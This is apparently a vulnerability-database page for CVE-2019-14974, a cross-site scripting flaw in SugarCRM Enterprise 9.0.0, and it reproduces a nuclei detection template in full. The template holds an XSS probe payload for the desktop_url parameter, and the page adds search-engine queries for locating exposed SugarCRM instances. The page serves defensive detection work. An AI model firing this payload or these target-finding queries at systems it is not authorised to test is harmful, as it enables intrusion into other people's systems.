HexBrain

Browse / CVEs / CVE-2019-14974

CVE-2019-14974· sugarcrm / sugarcrm· CWE-79

SugarCRM Enterprise 9.0.0 - Cross-Site Scripting

mediumseverity
6.1CVSS score
28.4%likelihood of exploitation, next 30 days
98%of all CVEs are less likely
Readycheck to confirm it

SugarCRM Enterprise 9.0.0 contains a cross-site scripting vulnerability via mobile/error-not-supported-platform.html?desktop_url.

Impact

Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, leading to session hijacking, defacement, or theft of sensitive information.

Fix

Apply the latest security patch or upgrade to a non-vulnerable version of SugarCRM Enterprise.

How to confirm it

Send: GET {{BaseURL}}/mobile/error-not-supported-platform.html?desktop_url=javascript:alert(1337);//itms://
Positive when: contains "url = window.location.search.split(\"?desktop_url=\")[1]" AND status 200

Run it with nuclei: nuclei -id CVE-2019-14974 -u <target>. This check is not marked as verified by its authors.

The full check
id: CVE-2019-14974

info:
  name: SugarCRM Enterprise 9.0.0 - Cross-Site Scripting
  author: madrobot
  severity: medium
  description: SugarCRM Enterprise 9.0.0 contains a cross-site scripting vulnerability via mobile/error-not-supported-platform.html?desktop_url.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, leading to session hijacking, defacement, or theft of sensitive information.
  remediation: |
    Apply the latest security patch or upgrade to a non-vulnerable version of SugarCRM Enterprise.
  reference:
    - https://www.exploit-db.com/exploits/47247
    - https://nvd.nist.gov/vuln/detail/CVE-2019-14974
    - https://github.com/anonymous364872/Rapier_Tool
    - https://github.com/merlinepedra/nuclei-templates
    - https://github.com/merlinepedra25/nuclei-templates
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2019-14974
    cwe-id: CWE-79
    epss-score: 0.28433
    epss-percentile: 0.98142
    cpe: cpe:2.3:a:sugarcrm:sugarcrm:9.0.0:*:*:*:enterprise:*:*:*
  metadata:
    max-request: 1
    vendor: sugarcrm
    product: sugarcrm
    shodan-query:
      - http.html:"sugarcrm inc. all rights reserved"
      - http.title:sugarcrm
    fofa-query:
      - body="sugarcrm inc. all rights reserved"
      - title=sugarcrm
    google-query:
      - intitle:sugarcrm
      - intext:"sugarcrm inc. all rights reserved"
  tags: cve,cve2019,xss,sugarcrm,edb,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/mobile/error-not-supported-platform.html?desktop_url=javascript:alert(1337);//itms://"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "url = window.location.search.split(\"?desktop_url=\")[1]"

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from